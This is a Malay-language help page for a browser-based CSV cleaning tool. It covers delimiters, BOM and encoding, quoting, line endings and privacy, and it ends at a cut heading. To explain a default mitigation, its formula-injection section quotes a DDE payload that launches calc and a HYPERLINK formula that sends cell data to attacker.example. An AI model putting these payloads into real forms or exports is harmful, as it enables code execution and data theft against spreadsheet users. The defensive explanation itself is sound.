Bahasa Melayu

Pembersih CSV

Kemaskan pembatas, pengepala, baris pendua dan pengekodan dalam eksport hamparan.

Mengapa eksport tiba rosak

Fail CSV sebenarnya bukan format, ia adalah keluarga konvensyen. Spesifikasi yang ditunjukkan oleh kebanyakan alat, RFC 4180, telah ditulis dalam 2005 untuk menerangkan perisian yang sedang dilakukan dan bukannya memberitahu perkara yang perlu dilakukan. Hasilnya ialah dua program boleh menuntut sokongan CSV dan masih tidak bersetuju tentang pembatas, pengakhiran baris, gaya petikan dan pengekodan aksara.

Kejutan yang paling biasa ialah pembatas. Perisian yang dijual di negara yang menggunakan koma sebagai pemisah perpuluhan — kebanyakan benua Eropah — kerap mengeksport fail yang dipisahkan koma bertitik, kerana koma sudah sibuk. Fail tersebut masih berakhir dengan .csv. Buka satu dalam alat yang menganggap koma dan setiap baris runtuh menjadi satu lajur.

Kejutan kedua yang paling biasa ialah pengekodan. Fail yang disimpan sebagai UTF-8 selalunya bermula dengan penanda tiga bait yang tidak kelihatan yang dipanggil tanda tertib bait. Excel pada Windows menggunakannya untuk mengenali UTF-8. Banyak alat Unix tidak menjangkakannya, jadi tanda itu dilekatkan pada nama pengepala pertama dan lajur yang dipanggil "id" secara senyap menjadi lajur yang dipanggil "id" yang tiada carian akan sepadan.

Muatkan dan semak bentuk

Pilih fail anda. Penghuraian berlaku dalam urutan pekerja latar belakang, jadi walaupun eksport yang besar tidak akan membekukan halaman semasa ia dibaca.

Biarkan pembatas pada "Autopengesan" pada kali pertama. Pengesanan berfungsi dengan menghuraikan sampel dengan setiap pembatas calon dan memilih salah satu yang menghasilkan hasil segi empat tepat yang paling konsisten — itulah sebabnya ia tidak tertipu dengan koma yang terletak di dalam medan petikan bagi fail yang dipisahkan koma bernoktah. Jika pratonton masih kelihatan salah, gantikannya secara manual.

Semak kiraan baris dan lajur di bawah pemilih fail sebelum melakukan perkara lain. Jika kiraan lajur ialah 1, pembatas adalah salah. Jika kiraan baris jauh lebih besar daripada yang anda jangkakan, fail itu mungkin mengandungi baris baharu yang dipetik yang telah dipecahkan oleh alat lain.

  1. Pilih fail .csv, .tsv, .txt atau .json.
  2. Sahkan pembatas yang dikesan, atau pilih satu secara manual.
  3. Baca ringkasan lajur baris × dan sebarang amaran penghuraian.
  4. Imbas jadual pratonton untuk melihat lajur yang kelihatan beralih.

Fahami amaran penghuraian

Amaran menamakan nombor baris tertentu, mengira cara anda mengira dalam editor teks, supaya anda boleh pergi dan melihat masalah secara langsung.

Amaran "baris lusuh" bermaksud baris mempunyai bilangan sel yang berbeza daripada pengepala. Alat ini tidak pernah membuang sel tersebut. Baris pendek berlapik dengan kosong dan baris panjang mengekalkan nilai tambahannya, kerana memadamkan data seseorang secara senyap untuk menjadikan grid kelihatan kemas adalah perkara paling buruk yang boleh dilakukan oleh alat pembersihan. Betulkan baris sumber jika koma tambahan adalah kesilapan.

Amaran "petikan tidak tertutup" bermaksud petikan dua kali dibuka dan tidak pernah ditutup, jadi semuanya selepas ia dibaca sebagai satu medan yang besar. Ini hampir selalu merupakan rasuah tulen dalam fail sumber, dan ia patut dibetulkan di hulu berbanding hiliran.

Bersihkan, kemudian eksport

Butang pembersihan digunakan pada keseluruhan jadual dan setiap satu boleh dibuat asal. Mengalih keluar baris pendua mengekalkan kejadian pertama, jadi baris asal kekal dan susunan data yang masih hidup tidak berubah.

Kawalan lajur membolehkan anda menamakan semula pengepala, memilih lajur yang hendak dieksport dan mengisih mengikut mana-mana lajur. Isih mengesan sama ada lajur adalah angka: lajur angka mengisih 9 sebelum 10, manakala lajur teks mengisih "10" sebelum "9", yang biasanya anda inginkan dalam setiap kes.

Sebelum memuat turun, lihat pilihan eksport. Pilihan formula-suntikan-selamat dihidupkan secara lalai dan diterangkan dalam panduannya sendiri di bawah — ia adalah tetapan di sini dengan akibat keselamatan yang tulen.

Masalah dalam satu ayat

Fail CSV tidak mengandungi kod, tetapi aplikasi hamparan dengan senang hati akan menganggap beberapa teksnya sebagai kod sebaik sahaja fail dibuka.

Excel, Helaian Google dan LibreOffice Calc semuanya mentafsirkan sel yang aksara pertamanya ialah =, +, - atau @ sebagai permulaan formula. Tingkah laku itu sengaja dan berguna apabila anda menaipnya sendiri. Ia menjadi kelemahan apabila kandungan sel datang dari tempat yang tidak anda kawal.

Bagaimana serangan sebenarnya berfungsi

Bayangkan borang web yang mengumpulkan nama dan pentadbir yang secara berkala mengeksport penyerahan ke CSV dan membukanya dalam Excel. Penyerang menyerahkan nama yang bukan nama tetapi formula.

Muatan klasik kelihatan seperti =cmd|' /C calc'!A0. Apabila eksport dibuka, Excel menghuraikannya sebagai arahan pertukaran data dinamik dan bukannya sebagai teks. Konfigurasi yang lebih lama dan tidak ditambal akan cuba melancarkan program luaran. Versi moden menunjukkan gesaan amaran terlebih dahulu — tetapi gesaan adalah satu-satunya perkara yang berdiri di antara muatan dan pelaksanaan, dan pengguna mengklik melalui gesaan.

Penyingkiran data ialah varian yang lebih senyap dan tidak memerlukan DDE sama sekali. =HYPERLINK("https://attacker.example/?d="&A1,"Click untuk butiran") membina pautan yang mengandungi kandungan sel jiran. Pentadbir yang ingin tahu mengkliknya dan satu baris hamparan meninggalkan bangunan dalam URL. IMPORTXML dalam Helaian Google boleh mengambil URL jauh tanpa sebarang klik diperlukan sama sekali.

Perkara penting ialah penyerang tidak pernah memerlukan akses kepada hamparan, alat eksport atau mesin pentadbir. Mereka sahaja memerlukan satu medan teks yang akhirnya mencapai CSV eksport. Inilah sebabnya mengapa kerentanan biasanya direkodkan terhadap aplikasi yang menghasilkan fail, bukan hamparan yang membukanya.

Apa yang alat ini lakukan mengenainya

Apabila "Formula-injection-safe" didayakan — dan ia didayakan secara lalai — setiap sel yang aksara pertamanya ialah =, +, -, @, tab atau pemulangan pengangkutan diawali dengan satu apostrof sebelum ditulis.

Apostrof ialah penanda hamparan konvensional yang bermaksud "perlakukan seluruh sel ini sebagai teks literal". Excel tidak memaparkannya dalam sel; anda melihatnya sahaja dalam bar formula. Muatan masih kelihatan dan masih boleh dipulihkan sepenuhnya, tetapi ia lengai.

Pemulangan tab dan gerabak disertakan dalam senarai itu kerana ia adalah ruang kosong yang dipangkas oleh beberapa penapis naif sebelum menyemak aksara pertama, yang membolehkan muatan melepasi cek yang sahaja melihat indeks sifar rentetan yang dipangkas. Menyemak aksara pertama mentah menutup jurang itu.

  1. Biarkan "Formula-injection-safe" ditanda dalam panel Eksport.
  2. Muat turun CSV.
  3. Bukanya dalam Excel atau Helaian: sel seperti formula kini dipaparkan sebagai teks biasa.

Kos pilihan anda — baca ini sebelum mematikannya

Mitigasi mengubah data anda, dan tiada versi yang tidak. Jika sel benar-benar mengandungi =SUM(A1:A2) kerana anda mahukan formula yang berfungsi dalam output, eksport selamat mengubahnya menjadi teks literal =SUM(A1:A2) dan ia tidak akan mengira. Hamparan tidak dapat membezakan formula yang anda inginkan daripada formula penyerang, dan kami juga tidak boleh.

Itulah sebabnya fungsi ini ditunjukkan sebagai togol dan bukan tingkah laku senyap. Jika anda mengeksport fail yang sepatutnya mengandungi formula langsung, dan anda mempercayai setiap nilai di dalamnya, matikan pilihan dengan sengaja dan dengan sedar. Jika data itu mengandungi apa-apa yang berasal daripada pengguna, borang, pelanggan, tinjauan atau sistem luaran, biarkan pilihan itu didayakan.

Satu penghalusan patut diketahui. Pelaksanaan naif membenderakan setiap sel bermula dengan tanda tolak, yang merosakkan setiap nombor negatif dalam fail: -42 menjadi '-42 dan berhenti menjadi nombor, secara senyap-senyap merosakkan keseluruhan lajur data kewangan. Alat ini mengecualikan nilai yang dihuraikan sebagai nombor biasa, jadi -42, -3.14 dan -1e5 melepasi tanpa disentuh manakala -1+1+cmd|' /C calc'!A0 tidak, kerana ia bukan nombor.

Jika anda sedang membina perisian yang mengeksport CSV

Pelepasan aksara dengan menulis, bukan membaca. Fail yang anda hasilkan harus selamat untuk dibuka di mana-mana, kerana anda tidak boleh mengawal aplikasi mana yang membukanya atau berapa umur aplikasi itu.

Jangan bergantung pada dialog amaran hamparan sebagai kawalan anda. Ia adalah barisan pertahanan terakhir yang ditujukan kepada pengguna yang cuba menyelesaikan kerja mereka, dan ia selalunya ditolak.

Jangan cuba menyelesaikannya dengan menanggalkan watak berbahaya. Memadamkan pendahuluan = merosakkan data yang sah dan masih terlepas muatan yang bermula dengan ruang kosong. Penetapan awalan dengan apostrof mengekalkan nilai asal dengan tepat sambil mengalih keluar kebolehlaksanaannya, itulah sebabnya pendekatan ini disyorkan.

Memetik peraturan

Medan mesti dibalut dengan petikan berganda apabila ia mengandungi pembatas, petikan berganda atau pemisah baris. Di dalam medan yang dipetik, petikan berganda literal ditulis dua kali: "dia berkata ""hai""" ialah satu medan yang mengandungi dia berkata "hai".

Alat ini memetik sekurang-kurangnya pada eksport: medan dibungkus sahaja apabila ia perlu. Ini bermakna fail yang setiap medannya dipetik pada input mungkin keluar dengan petikan yang lebih sedikit. Data adalah sama — "Ada" dan Ada adalah nilai yang sama — tetapi baitnya berbeza. Jika anda memerlukan setiap medan yang dipetik, gunakan pilihan "Petikan setiap medan".

Medan dengan ruang hadapan atau belakang yang bermakna sentiasa dipetik, kerana beberapa penghurai menanggalkan padding yang tidak disebut dan sebaliknya akan mengubah nilai anda.

Penghujung baris

RFC 4180 menentukan CRLF antara rekod, dan itulah yang ditulis oleh alat ini secara lalai, kerana ia adalah pilihan yang paling serasi secara meluas merentas perkakasan Windows dan Unix.

Pada input, ketiga-tiga konvensyen diterima: CRLF, LF dan CR tunggal. Baris baharu dalam medan yang disebut dipelihara sebagai sebahagian daripada nilai dan tidak memulakan baris baharu.

Apa yang berlaku kepada data anda

Fail anda dibaca oleh pelayar, dihuraikan dalam Pekerja Web pada peranti anda, diubah dalam ingatan dan ditulis semula oleh mekanisme muat turun pelayar sendiri. Ia tidak pernah dihantar.

Tiada apa yang disimpan. Tiada autosimpan, tiada pangkalan data tempatan dan tiada sejarah yang kekal dalam muat semula halaman. Menutup tab membuang segala-galanya; "Kosongkan data" melakukan perkara yang sama serta-merta.

Analitis dan pengiklanan dilumpuhkan dalam produk ini, dalam setiap persekitaran. Tiada data penggunaan tentang fail anda — bukan nama, saiz, kandungan atau nama lajurnya — dikumpul, kerana tiada satu pun daripadanya pernah dihantar ke mana-mana.

Soalan lazim

Adakah hamparan saya dimuat naik di mana-mana sahaja?
Tidak. Fail dibaca oleh pelayar anda, dihuraikan dalam Pekerja Web pada peranti anda dan ditulis semula oleh pelayar anda. Tiada komponen pelayan dalam alat ini dan tiada titik akhir untuk data dihantar. Anda boleh mengesahkan ini dengan membuka panel rangkaian pelayar anda dan melihatnya kekal kosong semasa anda bekerja.
Mengapa fail saya dibuka sebagai satu lajur?
Pembatas salah. Tetapkan secara manual — koma bertitik ialah jawapan biasa untuk eksport daripada perisian Eropah dan tab untuk fail yang benar-benar TSV dengan sambungan .csv.
Apakah pilihan UTF-8 BOM?
Excel pada Windows menggunakan tanda pesanan bait untuk mengesan bahawa fail adalah UTF-8. Tanpa itu, aksara beraksen dan skrip bukan Latin boleh muncul sebagai mojibake apabila fail diklik dua kali. Hidupkannya jika fail ditujukan untuk Excel; biarkan ia dimatikan jika fail menyuap skrip atau import pangkalan data, kerana sesetengah penghurai yang ketat menganggap tanda sebagai data.
Adakah mengalih keluar pendua menyimpan salinan pertama atau terakhir?
Yang pertama. Baris asal kekal di tempatnya dan salinan kemudian dialih keluar, jadi susunan data yang anda simpan tidak berubah.
Bolehkah saya menukar antara CSV dan JSON?
Ya, dalam kedua-dua arah. Muatkan fail .json yang mengandungi tatasusunan objek dan ia menjadi jadual; eksport mana-mana jadual sebagai JSON. Nama lajur pendua diberikan akhiran berangka dan bukannya menulis ganti antara satu sama lain dan nilai bersarang disiri sebagai teks JSON di dalam sel.
Seberapa besar fail boleh dikendalikan?
Had ditetapkan pada 50 MB. Kekangan sebenar ialah memori peranti anda, kerana keseluruhan fail disimpan dalam tab. Telefon akan bergelut dengan baik sebelum komputer riba mengalami masalah. Penghuraian dijalankan dalam pekerja supaya antara muka kekal responsif, tetapi fail yang sangat besar masih akan mengambil masa.

Apa yang tidak akan dilakukan oleh alat ini